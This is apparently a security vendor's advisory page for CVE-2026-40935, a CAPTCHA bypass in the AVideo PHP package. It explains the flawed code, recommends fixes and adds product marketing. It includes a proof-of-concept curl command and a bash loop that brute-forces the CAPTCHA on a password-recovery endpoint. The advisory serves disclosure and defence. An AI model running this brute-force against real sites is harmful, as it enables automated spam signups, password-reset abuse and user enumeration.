Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

CVE-2026-40935 — wwbn/avideo

MEDIUMFix: WWBN/AVideo@bf1c769

CVE-2026-40935 is a medium-severity (CVSS 5.3) CWE-804 vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.

WWBN/AVideo has CAPTCHA Bypass via Attacker-Controlled Length Parameter and Missing Token Invalidation on Failure

Also known asGHSA-hg7g-56h5-5pqr
Published
Apr 21, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40935.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs22th percentile — riskier than 22% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-40935 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

objects/getCaptcha.php accepts the CAPTCHA length (ql) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive strcasecmp comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on Captcha::validation() (user registration, password recovery, contact form, etc.) in at most ~33 requests per session.

Details

Three cooperating flaws in objects/getCaptcha.php and objects/captcha.php reduce CAPTCHA protection to a deterministic bypass.

1. External control of CAPTCHA strength (objects/getCaptcha.php:7)

$largura        = empty($_GET['l'])  ? 120 : $_GET['l'];
$altura         = empty($_GET['a'])  ? 40  : $_GET['a'];
$tamanho_fonte  = empty($_GET['tf']) ? 18  : $_GET['tf'];
$quantidade_letras = empty($_GET['ql']) ? 5 : $_GET['ql']; // attacker-controlled

$capcha = new Captcha($largura, $altura, $tamanho_fonte, $quantidade_letras);
$capcha->getCaptchaImage();

There is no minimum, no type-check, and no clamping. Requesting /objects/getCaptcha.php?ql=1 causes the server to generate a single-character word and save it to the attacker's own PHP session.

2. Small alphabet stored in the session (objects/captcha.php:33-39)

$letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnPpQqRrSsTtUuVvYyXxWwZz23456789';
$palavra = substr(str_shuffle($letters), 0, ($this->quantidade_letras));
if (User::isAdmin() && empty($_REQUEST['forceCaptcha'])) {
    $palavra = "admin";
}
_session_start();
$_SESSION["palavra"] = $palavra;

After case-folding the alphabet is 25 letters (A–Z minus O) plus digits 2-9, i.e. 33 unique values. For an unauthenticated attacker the admin branch at line 35 is unreachable, so the value is purely random over that 33-symbol set.

3. Weak comparison and token NOT invalidated on failure (objects/captcha.php:58-75)

public static function validation($word)
{
    if (User::isAdmin() && $_SESSION["palavra"] === 'admin') {
        return true;
    }
    _session_start();
    if (empty($_SESSION["palavra"])) {
        _error_log("Captcha validation Error: you type ({$word}) and session is empty ...");
        return false;
    }
    $validation = (strcasecmp($word, $_SESSION["palavra"]) == 0);
    if (!$validation) {
        _error_log("Captcha validation Error: you type ({$word}) and session is ({$_SESSION["palavra"]}) ...");
    } else {
        unset($_SESSION["palavra"]); // Consume the captcha token to prevent reuse
    }
    return $validation;
}

Two problems here:

  • strcasecmp is case-insensitive, collapsing the alphabet to ~33 distinct values.
  • unset($_SESSION["palavra"]) only runs in the success branch. Every failed guess leaves the stored word intact, so the same session can be retried against the same stored answer until it matches.

Reachability

Captcha::validation() is invoked from unauthenticated entry points including:

  • objects/userCreate.json.php:38 — user registration (Captcha::validation($_POST['captcha']))
  • objects/userRecoverPass.php:31 — password recovery
  • objects/sendEmail.json.php:10 — public contact email
  • plugin/API/API.php:4243 and :5684 — public API endpoints
  • plugin/CustomizeUser/donate.json.php:62, confirmDeleteUser.json.php:15
  • plugin/YPTWallet/view/transferFunds.json.php:25

None of these require authentication for the CAPTCHA check to matter — they rely on it exactly because they're exposed to anonymous or lightly-authenticated callers.

PoC

Attacker flow against an unauthenticated signup/recovery endpoint:

Step 1 — Weaken the CAPTCHA to one character and install it in the attacker's own PHP session:

curl -c jar -s 'https://target/objects/getCaptcha.php?ql=1' -o /dev/null

Step 2 — Brute-force the single-character answer. Because failed attempts do NOT reset $_SESSION["palavra"], the same cookie jar is reused and the same stored value is checked against each guess:

for c in a b c d e f g h i j k l m n p q r s t u v w x y z 2 3 4 5 6 7 8 9; do
  code=$(curl -b jar -s -o /tmp/r -w '%{http_code}' -X POST \
    'https://target/objects/userRecoverPass.php' \
    --data-urlencode 'user=victim' \
    --data-urlencode 'recoverpass=1' \
    --data-urlencode "captcha=$c")
  if ! grep -q 'Your code is not valid' /tmp/r; then
    echo "HIT with captcha=$c"; break
  fi
done
  • Worst case: 33 POSTs per session to pass the CAPTCHA once.
  • With ql=2 the keyspace is ~1089 — still trivial and more robust against any edge cases involving empty() on a single-digit word.
  • The same technique works against userCreate.json.php, sendEmail.json.php, and every other Captcha::validation() caller.

Observed behavior on the local instance: each wrong guess returns "Your code is not valid" without rotating $_SESSION["palavra"]; the logged session is (<char>) message in _error_log stays the same across all failed attempts in a session, confirming the token is not rotated.

Impact

CAPTCHA is the only "are you human" control on several anonymous endpoints. Reducing it to a deterministic ≤33-try bypass enables:

  • Automated account creation / spam signups via userCreate.json.php.
  • User enumeration / password-reset spamming via userRecoverPass.php.
  • Unsolicited email abuse via sendEmail.json.php.
  • Comment / donation / wallet abuse on plugin endpoints that rely on Captcha::validation.

It does not by itself leak secrets or grant privileges, hence Integrity:Low (abuse of an intended rate-limiting/anti-bot control) with no direct Confidentiality/Availability impact.

Recommended Fix

Three coordinated changes in objects/getCaptcha.php and objects/captcha.php:

  1. Clamp ql (and ideally the other image params) to a safe server-side range:

    // objects/getCaptcha.php
    $quantidade_letras = isset($_GET['ql']) ? (int)$_GET['ql'] : 5;
    $quantidade_letras = max(5, min(8, $quantidade_letras));
    
  2. Always consume the stored CAPTCHA answer on any validation attempt (success or failure) so each guess costs one fresh getCaptcha.php round-trip:

    // objects/captcha.php::validation()
    _session_start();
    if (empty($_SESSION["palavra"])) {
        return false;
    }
    $stored = $_SESSION["palavra"];
    unset($_SESSION["palavra"]); // always consume, regardless of outcome
    if (User::isAdmin() && $stored === 'admin') {
        return true;
    }
    return strcasecmp($word, $stored) === 0;
    
  3. Use a CSPRNG for word generation instead of str_shuffle, e.g.:

    $palavra = '';
    $len = strlen($letters);
    for ($i = 0; $i < $this->quantidade_letras; $i++) {
        $palavra .= $letters[random_int(0, $len - 1)];
    }
    

Optionally also add an application-level rate limit (per IP / per session) on all endpoints that call Captcha::validation() as defense in depth.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for CVE-2026-40935 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40935 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-40935. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `objects/getCaptcha.php` accepts the CAPTCHA length (`ql`) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive `strcasecmp` comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on `Captcha::validation()` (user registration, password recovery, contact form, etc.) in at most ~33 requests per session. ## De
O3 Security · Impact-Aware SCA

Is CVE-2026-40935 in your dependencies?

O3 Security finds CVE-2026-40935 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-40935: wwbn/avideo (Medium 5.3) | O3 Security